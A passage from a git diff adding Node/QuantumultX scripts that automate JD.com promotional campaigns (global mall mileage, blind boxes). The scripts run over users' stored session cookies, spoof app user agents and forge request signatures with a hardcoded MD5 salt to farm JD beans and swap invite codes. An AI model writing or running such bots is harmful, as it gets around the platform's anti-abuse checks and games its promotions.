+ message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdGlobal() + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + $.earn = 0 + $.score = 0 + $.beans = 0 + await getHome() + await getTask() + await getHome(true) + await helpFriends() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + $.canHelp = true + for (let code of $.newShareCodes) { + console.log(`去助力好友${code}`) + if (!code) continue + await helpFriend(code) + if(!$.canHelp) break + await $.wait(1000) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}里程,${$.beans}京豆,共计${$.score}里程` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function getHome(info = false) { + return new Promise(resolve => { + $.get(taskUrl("mainInfo", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {activityCalendar, activityStations} = data.result.data + if (info) { + $.earn = parseInt(data.result.data.mileageAmount) - $.score + let station = activityStations.filter(vo => vo.unlock === true) + for (let vo of station) { + let ids = [] + for (let bo of vo.rewards) { + if (bo['unlock'] && !bo['received']) { + if (/^[0-9]+.?[0-9]*$/.test(bo['couponPrice'])) { + $.beans += parseInt(bo['couponPrice']) + } + console.log(`去领取 ${/^[0-9]+.?[0-9]*$/.test(bo['couponPrice']) ? bo['couponPrice'] + '京豆' : bo['couponPrice']} 奖励`) + ids.push(bo['id']) + } + } + if (ids.length) { + await receiveReward({"stationId": vo['id'], "rewardIds": ids, "activityCode": actCode}) + await $.wait(1000) + } + } + } else { + console.log(`当前活动:第${activityCalendar.currDays}/${activityCalendar.totalDays}天`) + } + $.score = parseInt(data.result.data.mileageAmount) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getTask() { + return new Promise(resolve => { + $.get(taskUrl("myTask", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {timeLimitTask, commonTask} = data.result.data + let task = [...timeLimitTask, ...commonTask] + for (let vo of task) { + if (vo['taskName'] === '每日邀请好友') { + // console.log(`您的好友助力码为 ${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}\n`); + $.invites.push(vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]); + } + if (['70', '50', '30', '40'].includes(vo['taskType'])) { + if (vo['executedTimes'] === vo['totalTimes']) { + console.log(`${vo['taskName']}任务已完成`) + } else { + console.log(`去做${vo['taskName']}任务`) + for (let i = vo['executedTimes']; i < vo['totalTimes']; ++i) { + await doTask({ + "taskId": vo['taskId'], + "itemId": vo['itemId'], + "viewSeconds": vo['viewSeconds'], + "activityCode": actCode, + "doType":`"${vo['taskType']}"`, + "client":"m", + "clientVersion":"-1", + "uuid":"-1", + "openudid":"-1" + }) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(body) { + return new Promise(resolve => { + $.get(taskUrl("taskRun", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriend(inviterPin) { + return new Promise(resolve => { + $.get(taskUrl("inviteHelp", { + "inviterPin": inviterPin, + "taskId": "51", + "pageType": "doHelp", + "headImg": "", + "username": "", + "activityCode": actCode + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + if(data['result']['message']==='您今天的助力次数已达上限,明天再试试吧~') $.canHelp = false + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function receiveReward(body) { + return new Promise(resolve => { + $.get(taskUrl("receiveRewardVisa", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/jdglobal/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDGLOBAL_SHARECODES) { + if (process.env.JDGLOBAL_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDGLOBAL_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDGLOBAL_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} + +function taskUrl(function_id, body = {}) { + function getSign(data) { + let t = +new Date() + + return {sealsTs: t, seals: $.md5(`${data.taskId}${data.inviterPin?data.inviterPin:''}${t}Ea6YXT`)} + } + if(body['taskId']) { + body = {...body, ...getSign(body)} + } + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=global_mart&time=${new Date().getTime()}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_global_mh.js b/activity/jd_global_mh.js new file mode 100644 index 0000000..fd97cdb --- /dev/null +++ b/activity/jd_global_mh.js @@ -0,0 +1,421 @@ +/* +京东国际盲盒 +活动时间:2021-02-23至2021-03-31 +暂不加入品牌会员 +地址 https://gmart.jd.com/?appId=27260146 +活动入口:京东app首页浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东国际盲盒 +0 9,12,20,21 * * * jd_global_mh.js, tag=京东国际盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 9,12,20,21 * * *" script-path=jd_global_mh.js,tag=京东国际盲盒 + +===============Surge================= +京东国际盲盒 = type=cron,cronexp="0 9,12,20,21 * * *",wake-system=1,timeout=3600,script-path=jd_global_mh.js + +============小火箭========= +京东国际盲盒 = type=cron,script-path=jd_global_mh.js, cronexpr="0 9,12,20,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东国际盲盒'); +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'lucky-box-001'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdGlobalMh() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobalMh() { + try { + $.earn = 0 + $.score = 0 + $.beans = 0 + await getHome() + await getTask() + await getHome(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}碎片,${$.beans}京豆,共计${$.score}碎片` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function getHome(info = false) { + return new Promise(resolve => { + $.get(taskUrl("luckyBoxMainInfo", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {myLuckyBox, luckyBoxList, rewardBagList} = data.result.data + let beanBox = luckyBoxList.filter(vo => vo.boxMaterials.findIndex(bo => !!bo && bo.title === '京豆') > -1) + if (beanBox.length) { + beanBox = beanBox[0] + if (beanBox['orderNo'] !== '' && beanBox['openRecId'] !== '') { + console.log(`去打开盲盒`) + await openBox({ + "activityCode": actCode, + "orderNo": beanBox['orderNo'], + "openRecId": beanBox['openRecId'] + }) + } else { + if(parseInt(myLuckyBox.fragments)>=beanBox['boxFragments'] || data['result']['data']['isFirst']){ + console.log(`去购买盲盒`) + await buyBox({"buyType":20,"activityCode":actCode,"boxId":beanBox['boxId']}) + } + } + } + let bagList = rewardBagList.filter(vo=>!vo.isOpen&&vo.hasRightOpen) + for(let bag of bagList){ + console.log(`去打开${bag['id']}号福袋`) + await openBag({"activityCode":actCode,"id":bag['id']}) + } + if (info) { + $.earn = parseInt(myLuckyBox.fragments) - $.score + } + $.score = parseInt(myLuckyBox.fragments) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function openBag(body){ + return new Promise(resolve => { + $.get(taskUrl("receiveTaskRewardBag", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + $.log(JSON.stringify(data.result.data)) + if(data['result']['data']['jingdouNums']){ + $.beans += parseInt(data['result']['data']['jingdouNums']) + console.log(`获得${data['result']['data']['jingdouNums']}京豆`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getTask() { + return new Promise(resolve => { + $.get(taskUrl("myTask", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {timeLimitTask, commonTask} = data.result.data + let task = [...timeLimitTask, ...commonTask] + for (let vo of task) { + if (vo['taskName'] === '每日邀请好友') { + console.log(`您的好友助力码为 ${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}`) + } + if (['70', '50', '30', '40'].includes(vo['taskType'])) { + if (vo['executedTimes'] === vo['totalTimes']) { + console.log(`${vo['taskName']}任务已完成`) + } else { + console.log(`去做${vo['taskName']}任务`) + for (let i = vo['executedTimes']; i < vo['totalTimes']; ++i) { + await doTask({ + "taskId": vo['taskId'], + "itemId": vo['itemId'], + "viewSeconds": vo['viewSeconds'], + "activityCode": actCode + }) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(body) { + return new Promise(resolve => { + $.get(taskUrl("taskRun", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function buyBox(body) { + return new Promise(resolve => { + $.get(taskUrl("buyBox", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function openBox(body) { + return new Promise(resolve => { + $.get(taskUrl("openLuckyBox", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + $.log(JSON.stringify(data.result.data)) + if(data['result']['data']['jingdouNums']){ + $.beans += parseInt(data['result']['data']['jingdouNums']) + console.log(`获得${data['result']['data']['jingdouNums']}京豆`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + function getSign(data) { + let t = +new Date() + + return {sealsTs: t, seals: $.md5(`${data.taskId}${data.inviterPin?data.inviterPin:''}${t}Ea6YXT`)} + } + if(body['taskId']) { + body = {...body, ...getSign(body)} + } + + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=global_mart`, + headers: { + "Cookie": cookie, 